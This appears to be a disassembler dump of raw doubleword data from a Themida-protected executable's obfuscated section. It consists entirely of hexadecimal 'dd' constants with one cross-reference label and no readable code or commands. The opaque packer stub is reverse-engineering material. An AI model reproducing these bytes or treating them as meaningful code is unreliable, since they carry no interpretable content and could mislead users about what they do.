		dd 6A20468Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 86FC351h, 6F4ADB3Ch, 70B9F773h
		dd 89456103h, 0F17E385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0CA3C8997h, 179D7BC8h
		dd 8166788Eh, 6683EAE7h, 0AEB5E281h, 26E9F8h, 0BD090000h
		dd 60B1F41h, 52006A40h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 2DF2F870h, 0F003880h, 0FFFFD785h
		dd 1F860FFFh, 0E8000000h, 13h, 0E0997DF1h, 0F59ABE0Bh
		dd 21023972h, 8C20FED8h, 89C36B70h, 0B184D95h, 24E95B06h
		dd 0F000000h, 6A48DEBFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0CBCFC351h,	80DEB70Fh
		dd 840F5C38h, 77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 1CC35747h, 0AE900h, 35F90000h, 1384DC65h
		dd 886214D1h, 0FF0E04BAh, 2F388046h, 3D840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 49D03DC3h, 68D0F5Eh,	89000000h, 0B0BDD95h, 0E3853B06h
		dd 0F060F17h, 0FFFF6583h, 599D8BFFh, 40060B1Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9CC35747h, 17EBBD83h
		dd 0F00060Fh, 0BD84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0FFF3497Fh, 0F045B5Dh
		dd 680h, 0DAD28100h, 503C5CF0h,	0DE8h, 0AA450E00h, 1E6D034h
		dd 1DDA2920h, 0BA667DEFh, 895B5B25h, 0B70F2404h, 3D0B5FBh
		dd 0F17EB85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 99D8B7Ch,	89060B02h, 0B1F8595h, 0C606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EBC35141h
		dd 0B48B8753h, 0FE8h, 0AA87FC00h, 0C78002FEh, 0C57F02F7h
		dd 60CB0C33h, 585AB8B6h, 1FC9BD01h, 8950060Bh, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 614CD8C3h, 0E957D0EBh, 6, 0F786DB78h, 0BF0FF0FBh, 0D7B5FFD7h
		dd 6A060F17h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h
dword_57E300	dd 654FC356h, 0A618536Eh, 13E9h, 9ACB9E00h, 0C8FC970h
					; DATA XREF: Themida_:0053E900o
		dd 952ED7E7h, 5BCE7009h, 4E0E335Fh, 17DB95FFh, 0B650060Fh
		dd 0C00B5924h, 4D850Fh,	8D8B0000h, 60B211Dh, 50B96661h
		dd 0C18166B3h, 85C7F52Eh, 60F17DFh, 1, 183D8D33h, 75E9060Bh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0A049C350h, 0DD2BF933h, 71BD0B20h
		dd 61060B0Eh, 81CAB70Fh, 11CC6h, 2DBD0900h, 0E9060B09h
		dd 0FFFFFC9Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	99C35040h, 0E8D5A992h, 0Dh, 9C0DFF23h, 4DC6A985h
		dd 337E1B96h, 398D29FFh, 5B060B2Fh, 801F6968h, 128E0F00h
		dd 0E8000000h, 0Ah, 0D644025Ah,	6C2E7C34h, 5B5647D3h, 2434815Bh
		dd 809F69h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	25C35141h, 0BA449A37h, 6DAF9A3h, 8D89006Ah, 60B0F2Dh
		dd 17E7B5FFh, 0E580060Fh, 7595FFC1h, 0F060B19h,	858BD7BFh
		dd 60F17DFh, 0ACC98CB9h, 9E9900Bh, 3000000h, 71EF014Fh
		dd 74942902h, 28F0F50h,	8A000000h, 958990D3h, 60B20C1h
		dd 17EF858Dh, 0B760060Fh, 0F9B58B6Ah, 61060B23h, 50D38B90h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 47968122h, 5DF2814Fh, 8D6B8EDAh,	0F17AC85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 5090F396h, 6A90DA8Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CC07C352h
		dd 0F0E38ED0h, 0B9B5894Ah, 0FF060B0Fh, 0B21ED95h, 8BEE8A06h
		dd 0BE9C0h, 0BA580000h,	0E171D12h, 0B8A28C0Ah, 0BDBD833Dh
		dd 60B05h, 0BD830975h, 60B29D1h, 50137400h, 0B8C08B53h
		dd 4D0h, 0B1559D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h
		dd 50117400h, 4D0B853h,	9D8D0000h, 60DB054h, 585BD3FFh
		dd 4359529h, 8F0F060Bh,	2, 6A33B6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CCE76BC3h
		dd 8B2DD180h, 4840FC0h,	66000000h, 58E0FBB9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h, 5E8h
		dd 0EFCFB300h, 0E1810F1Fh, 1AD08BB5h, 8C25Bh, 0CAB1C381h
		dd 0C08B4135h, 32B99D8Bh, 858D060Bh, 60F182Eh, 0B7D1C281h
		dd 858968C7h, 60B0781h,	0E0000BAh, 0EA81F0h, 83F00000h
		dd 958914C2h, 60B2065h,	8D14EA83h, 0F25CA85h, 0FF645006h
		dd 35h,	25896400h, 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 60B159Dh,	0F3C4003h
		dd 890650B7h, 0B17B595h, 50508B06h, 0C699589h, 0F805060Bh
		dd 8B000000h, 0D1030C50h, 1B959589h, 5003060Bh,	1958908h
		dd 64060B2Eh, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	15BD83C3h, 60B27h, 24840Fh
		dd 85C60000h, 60B2845h,	0A7D26847h, 0B5FFD49Ah,	60B1355h
		dd 7D18858Dh, 0D0FF060Eh, 0D0FF006Ah, 0E258589h, 0D38B060Bh
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0EE99Fh,	9AB80000h, 2AE11BAFh, 33D8DCF9h
		dd 9D629391h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0BB9F64C3h, 0BDBD83F3h, 60B05h
		dd 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h,	438h, 2A358589h
		dd 9D8D060Bh, 60DB31Ah,	585BD3FFh, 29D1BD83h, 7400060Bh
		dd 0B8535017h, 438h, 2A358589h,	9D8D060Bh, 60DB009h, 585BD3FFh
		dd 0BC99D89h, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 14E9FFC3h, 0A7000000h, 0ED9FC65Bh
		dd 1D0D6612h, 266AA778h, 0AA93998Eh, 8B995C92h,	1810FC0h
		dd 0F8000000h, 7EDE8h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0FC6515CDh, 8928A058h
		dd 0B0419B5h, 0DD858906h, 6A060B1Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 97CCC356h
		dd 0F823B354h, 11E9AFh,	60620000h, 9F1AE1EBh, 27E08D1h
		dd 8FB8F400h, 0E83DBA85h, 782h,	10159D29h, 8D8B060Bh, 60B1571h
		dd 1A498589h, 0BD33060Bh, 60B28EDh, 765E8h, 0C9B70F00h
		dd 19C98589h, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0C042C1C3h, 40A0006Eh, 0B52994CAh
		dd 60B092Dh, 54A8DE81h,	27E83415h, 6A000007h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 1E5C353h, 0B12E18Dh,	7D858906h, 6A060B1Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0DFA5C355h, 0A62FC6EBh, 21D8D09h, 0D3E8060Bh, 0E9000006h
		dd 0Ah,	0D26EE275h, 0DBDF157Fh,	8589A7CFh, 60B2A41h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DBC35242h, 3250583h
		dd 0D975C2BEh, 694E8C1h, 8D290000h, 60B0F41h, 27058589h
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 29851CC3h, 0FEBEE7B5h, 0E8235667h, 65Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h
		dd 65B589FCh, 89060B22h, 0B1AA985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 4EA252B9h
		dd 3CC8A546h, 0F78B6657h, 608E85Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 2F28BCC3h
		dd 0A07C26C8h, 5E864ACh, 0C2000000h, 0C6B52EB7h, 5FCF8B66h
		dd 1058589h, 11E9060Bh,	71000000h, 0A9A173C1h, 7A09DDAh
		dd 3AEB0300h, 811E12F5h, 5B5E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 318589DBh
		dd 0BE060B1Ah, 17035366h, 0FE8h, 50612300h, 9A3A6EDAh
		dd 1A8DC29h, 1A03E192h,	2AADBD8Bh, 0E859060Bh, 56Eh, 9E9h
		dd 1ECB3200h, 7F678B18h, 85893090h, 60B0ED9h, 318D8Bh
		dd 4FE8060Bh, 0B000005h, 0B29E5BDh, 55858906h, 66060B23h
		dd 3BE8F88Bh, 66000005h, 5FDFE981h, 21D98589h, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 9EF94CC3h, 57C78166h, 508E8C5h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 634A77C3h
		dd 0F1D3369Eh, 10E9h, 6ADB9C00h, 581D2D12h, 3C5D26DBh
		dd 6C53225Eh, 8D8589C6h, 60060B1Fh, 0BE951h, 9F380000h
		dd 405BD92Fh, 193340FFh, 0C78B5F5Ch, 4B0E861h, 85890000h
		dd 60B0FD5h, 5719509h, 9FE8060Bh, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 6665C357h, 54F68166h, 0A5858908h, 6A060B0Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 7189C357h, 0B4829C94h, 0CDBD8B1Bh, 0E8060B32h, 44Ah
		dd 96DE8166h, 0A985892Fh, 6A060B12h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7CBBC356h
		dd 51F65667h, 13E857h, 0B3360000h, 2891C685h, 9E1E59AAh
		dd 0B308EC0Bh, 6D335417h, 0B05FF86Dh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 1D8D2310h, 60060B24h, 0F580F98Bh, 0B60F6115h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 6BADFh, 0BD8B0000h, 60B21C1h, 8BFBB70Fh, 95C5BFC3h
		dd 0E8C114D2h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 922A806Fh, 5D434BDCh
		dd 8AEE8166h, 0E2F76663h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 4C35545h, 23CE08C1h, 0C781ABE5h, 1CAB9D04h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 49701AC3h, 8E850h, 0EC280000h, 29622717h
		dd 6650F8B4h, 5E59F78Bh, 6A241C89h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8925C357h
		dd 0B13FD8Dh, 0ED95FF06h, 5B060B18h, 12E9h, 0B7243D00h
		dd 0E082D050h, 3028879Ah, 0BC0CD60Ch, 66D0E3AEh, 958DCB8Bh
		dd 60B182Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F8C35343h, 39361445h, 0E26EA8Eh, 2860FABh, 8B000000h
		dd 0BE1A89F1h, 5D07294Eh, 89F78B66h, 7DBE0442h,	89785670h
		dd 0B31559Dh, 1D958D06h, 0F060B04h, 180h, 1A89F900h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h, 29B5899Ch
		dd 89060B04h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0D204B7C3h, 7E1C510Dh, 958DC88Bh
		dd 60B2075h, 33499589h,	13E9060Bh, 87000000h, 1A8E298Ch
		dd 139D9F76h, 1BA20158h, 31B021EAh, 1A89FFB5h, 19B58960h
		dd 0E8060B07h, 0Ch, 7CB0363Dh, 0BAA4918Ah, 899F4206h, 5EC88B66h
		dd 0FE961h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah
		dd 44289DDh, 958DF38Bh,	60B15E1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 3AC35242h, 0DEA0FE58h, 5E91040Ch
		dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E0CDA9C3h, 3467FA3Fh, 0B589A0DFh, 60B15C9h
		dd 6A044289h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0EABFC353h, 0A5EC56FDh, 8B536036h
		dd 0B04198Dh, 858B5F06h, 60B04B5h, 0D58D3361h, 8D060B26h
		dd 0B042D95h, 80BE6606h, 661A8907h, 3415C181h, 3044289h
		dd 0B0FBDB5h, 12E806h, 0D6570000h, 862BAC35h, 78802DC7h
		dd 0D3233C30h, 8B1A358Ch, 1FADB58Bh, 8D5F060Bh,	0B2A1D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0E960825Ah, 9, 0AC9ACFB8h, 9DB80286h, 29958B46h
		dd 61060B2Bh, 0BF0F1A89h, 44289F6h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0EC35545h, 1FCA6EAh, 0B120D8Dh
		dd 39958D06h, 29060B21h, 0B2881BDh, 6A1A8906h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 68F2C353h, 2061BD8Bh, 4289060Bh, 318D8B04h, 8D060B00h
		dd 0B329195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0A63430E0h, 0E7E1CE96h, 6A1A8912h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 79C4C355h, 0CB8DE535h, 837FD023h,	0C5B96660h
		dd 0D185014Ah, 61060B21h, 0E9044289h, 95h, 10218D8Bh, 6A060Bh
		dd 127DBD89h, 6A060Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 39C35040h, 0E88A7D68h, 22418501h, 6A060Bh
		dd 0F162CABFh, 6A006A72h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 1BF1C351h, 0FFF38BD3h
		dd 0B27A595h, 6AC306h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 542FE4C3h, 1E1D438Bh, 15B50B3Ah
		dd 81060B2Fh, 0DDEDA7D7h, 6AC58A27h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8947C356h
		dd 0B03A98Dh, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0A9FFC356h,	0BE9h
		dd 91082A00h, 0E4C6DE9Ah, 0B2B5B248h, 1415B533h, 0BD83060Bh
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 438B8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 438B8h, 99858900h, 8D060B12h
		dd 0DB0229Dh, 5BD3FF06h, 0D9BD8B58h, 6A060B2Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 2762C356h, 0F8D12F87h, 58C0Fh, 81660000h, 8BC280E6h
		dd 0A9858DC0h, 6A060B28h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 7EB3C351h, 6F55F49Bh
		dd 50DE8B66h, 8E9h, 27530B00h, 42C7652Eh, 24048996h, 0B971E781h
		dd 6A48DBh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 16h,	4FC35141h, 6A2CD8h, 8E9h, 0B4BE1D00h, 158895D7h
		dd 7D858D32h, 6A060F32h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 3311C352h, 0B0311BDh
		dd 81666006h, 0B5CD21F2h, 0BD8B614Ah, 60B2069h,	6605C083h
		dd 1ECFF781h, 0D88B5250h, 2404895Fh, 2A298509h,	6A060Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7BC35141h
		dd 28E81EAh, 0E9334170h, 14h, 3273BC9Fh, 11929170h, 0DD8EA212h
		dd 488ADDA5h, 0E4BCA268h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B44A7EC3h, 0DC969443h
		dd 9589CDAFh, 60B1B79h,	2195FFF5h, 0E9060B2Fh, 0Bh, 0E75F6FE6h
		dd 3D706EF0h, 8D372EA9h, 0EA7B08Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 13E8CCF0h
		dd 0EB000000h, 0BAE7F977h, 17F67467h, 0C0B43181h, 79731960h
		dd 8589B9BAh, 60B2D89h,	6AD1FF5Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 454CC352h
		dd 6655A330h, 0A20EE381h, 0B19BD83h, 0F01060Bh,	8085h
		dd 71BD2300h, 6A060B31h, 0BE802h, 1AFD0000h, 0B7ED6243h
		dd 0ADC39C23h, 0B1BD09D6h, 5B060B32h, 0FE95790h, 8F000000h
		dd 623C6197h, 284ABAE0h, 3DE9E3BDh, 505B38A8h, 0BF665250h
		dd 310FB4F8h, 6AB96660h, 48B86641h, 585A6167h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 42E7D104h, 3100E5F6h, 0B03D58Dh, 1595FF06h, 0B060B0Fh
		dd 0B2B61BDh, 0C9CE906h, 0E80000h, 5D000000h, 3287ED81h
		dd 8509060Fh, 60B16B9h,	10759D03h, 858D060Bh, 60E9293h
		dd 90ADDF80h, 10E95360h, 63000000h, 39570609h, 0A5190ABDh
		dd 994116D1h, 5A8FCE5Ch, 3274BF60h, 47BB4FBBh, 6140B5E7h
		dd 52505061h, 6860Fh, 840F0000h, 0
		dd 0BF66310Fh, 585A266Eh, 11B58990h, 64060B1Ah,	35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0DDEA9FC3h, 0D52A9569h, 89E5B396h, 0B24B9BDh
		dd 25896406h, 0
		dd 48B0Fh, 0BF660000h, 85FF5111h, 60B066Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 77C35040h, 8B70412Fh
		dd 0B20C1BDh, 0FFFF6A06h, 0B1ADDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 896A5653h
		dd 0B07F99Dh, 1195FF06h, 0E9060B24h, 10Fh, 0F800Fh, 0AE90000h
		dd 0D1000000h, 0FD06FFD6h, 68B15A5Ah, 0E600B0A5h, 0CB816670h
		dd 71E4D522h, 0A5DF8166h, 0F613C2Ah, 0E283h, 0BE900h, 262E0000h
		dd 2E599ACAh, 0CA7C70A7h, 0C8B60F08h, 6BAh, 89C18B00h
		dd 0B2E49BDh, 4E8C106h,	7E9h, 55D1900h,	13C51Fh, 8BE2F766h
		dd 0B33819Dh, 80C82B06h, 0D18BCDD7h, 28D0Fh, 0FE8B0000h
		dd 6E9h, 518D8900h, 8B060B02h, 0B182D85h, 71BD8906h, 29060B0Ch
		dd 0B27ED8Dh, 7C08306h,	0E1B50360h, 66060B2Ah, 8361F88Bh
		dd 0D98B00C0h, 830FD03Bh, 16h, 6E9h, 0D1829300h, 0E90FB675h
		dd 53h,	7199D8Bh, 8D8B060Bh, 60B2A9Dh, 83F88B66h, 840F01E1h
		dd 3Bh,	9E9h, 8EB1E800h, 414DD3F2h, 3DBF7266h, 83766B1Dh
		dd 0B2A9DA5h, 0FE9FE06h, 8E000000h, 89E96765h, 832C86AEh
		dd 9DF9ED24h, 9589C81Dh, 60B182Dh, 0E9E1B7h, 8D000000h
		dd 0EBDD2B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0F781229Ah, 4D5772ABh, 11E9006Ah
		dd 45000000h, 85DE0BC0h, 0F729B743h, 6EDDE124h,	5301CB7Bh
		dd 32DD95FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BB48BC3h, 713B9FEh, 0BF660000h
		dd 0E183F3E7h, 28C0FFCh, 8B000000h, 870FFCD9h, 6, 65B589h
		dd 0BD8B060Bh, 60B0E79h, 0B8h, 8BFB8B00h, 0B2961BDh, 66D22B06h
		dd 33ADFE8Bh, 3E8D1C2h,	4E983D0h, 6AF475h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A97D41C3h
		dd 0CE424F6Eh, 9D8B9815h, 60B0791h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 5FC35141h, 0D9BBBD30h, 880D869Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 88D7C353h, 9ED84147h, 0DE9h, 30031700h
		dd 0CD4951h, 0BBE30789h, 8D894977h, 60B1021h, 174D958Bh
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 6A3BC7C3h, 0BF0FB7F2h, 49BD09FBh,	8B060B20h
		dd 0B01198Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0DE8F9h, 0B0FE0000h, 36A02634h, 0D4688AFDh
		dd 5F8EE5DCh, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0BF665818h, 0BD83D77Dh, 60B29BDh, 6C840F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0B8F9C350h, 0
		dd 0DC9B589h, 8D8D060Bh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 82C35242h, 66C935Bh, 0AF66549Ch
		dd 7E9B7h, 5F60000h, 61DE4F3Ah,	8CF38145h, 0FF394FBAh
		dd 41B529E1h, 83060B03h, 0B1009BDh, 840F0006h, 380h, 8199D89h
		dd 0BF60060Bh, 45F09BD7h, 61F0B70Fh, 1009BD83h,	0F01060Bh
		dd 37E84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0CF374063h, 5890F43h, 60000000h
		dd 61EFE280h, 1009BD83h, 0F03060Bh, 31086h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0A0F35C0Ch, 60312BBDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 80C35343h, 19118D29h,	8C66060Bh, 0CE9D9h
		dd 0DDC00000h, 0C513F8F7h, 0F24CB34Fh, 0E180D4F9h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F067E24h, 0C90AD8B7h, 10B840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 684D58C3h
		dd 8BD88B31h, 0B317D85h, 0DFBF0F06h, 6ED8533h, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 11E8BDC3h, 9F000000h, 78A008D3h, 3F6C3AD0h, 0B997D716h
		dd 0BC5C72Eh, 8B5FDE8Ah, 0B2461BDh, 0BB665006h,	4895101h
		dd 0D171BB24h, 6A3CD5h,	0E8DABF0Fh, 4, 1F03FFh,	0F989BF66h
		dd 8BDF8B50h, 66042444h, 8BFA8Bh, 9800Fh, 820F0000h, 3
		dd 89FE8B66h, 51042444h, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 97F6F4C3h, 0C430D0CEh
		dd 800FCE3Eh, 0Dh, 8E9h, 6D12AA00h, 0A46D0876h,	0D195FF96h
		dd 8B060B03h, 0B0E79BDh, 1D858906h, 0BF060EA8h,	34F0A83Eh
		dd 17559529h, 1BE9060Bh, 89000001h, 0B0399BDh, 15858B06h
		dd 8B060EA8h, 0B04EDBDh, 1800C706h, 66000000h, 8BC0EABBh
		dd 0EA819B5h, 0E1858B06h, 6A060B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C77C352h
		dd 7B6012EFh, 32E78135h, 8B089336h, 0B2435BDh, 89068906h
		dd 0B15B595h, 7D858B06h, 8B060B31h, 0B16BDBDh, 4468906h
		dd 50FE8B66h, 8B665250h, 66310FD8h, 585AFA8Bh, 66243489h
		dd 0FFD919BBh, 0EA815B5h, 919D0B06h, 68060B2Ah,	8D090050h
		dd 7E9h, 0A7B08700h, 633D792h, 0AF240481h, 6A731603h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2FEFC355h, 5C1381E9h, 0BD89CDC8h, 60B2991h, 190D8509h
		dd 858D060Bh, 60EA81Dh,	66E78166h, 5250909Eh, 310F5AB7h
		dd 7E8h, 9B607200h, 0D812B786h,	5A5FF88Bh, 0F88B5058h
		dd 0C1BD8990h, 0FF060B26h, 0B03D195h, 0CE906h, 0C02D0000h
		dd 0AC1B0C63h, 0EEBFD691h, 6A61D0BBh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8909C351h
		dd 0B2131BDh, 985C706h,	3060B10h, 83000000h, 0EA81DBDh
		dd 840F0006h, 31h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6FC35040h, 0A011B041h, 2AAD8589h, 21E9060Bh
		dd 8B000000h, 0B0D2DBDh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6D71D3BBh, 9BD8334h,	3060B10h
		dd 451850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD0B4BC3h, 60B2011h, 68D0Fh, 85890000h
		dd 60B1B4Dh, 0A81DBD83h, 0F00060Eh, 41684h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 98D29BAh, 8B060B0Ch,	0B00E1BDh, 1DB5FF06h, 6A060EA8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0A6DCC350h, 0B589198Eh, 60B12E5h,	83D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 68CADCC3h, 0FBCAB14h, 68Eh, 0D5BD8900h, 8B060B32h
		dd 0EA811B5h, 106C706h,	0B7000100h, 8CBF96F9h, 5023BC5Ch
		dd 6A96FB8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3C8EC350h, 94EB05E1h, 0B5FF131Eh
		dd 60EA81Dh, 13219589h,	95FF060Bh, 60B0641h, 0A811B58Bh
		dd 0EB81060Eh, 6E857A9h, 121D858Bh, 6A060Bh, 3E851h, 59200000h
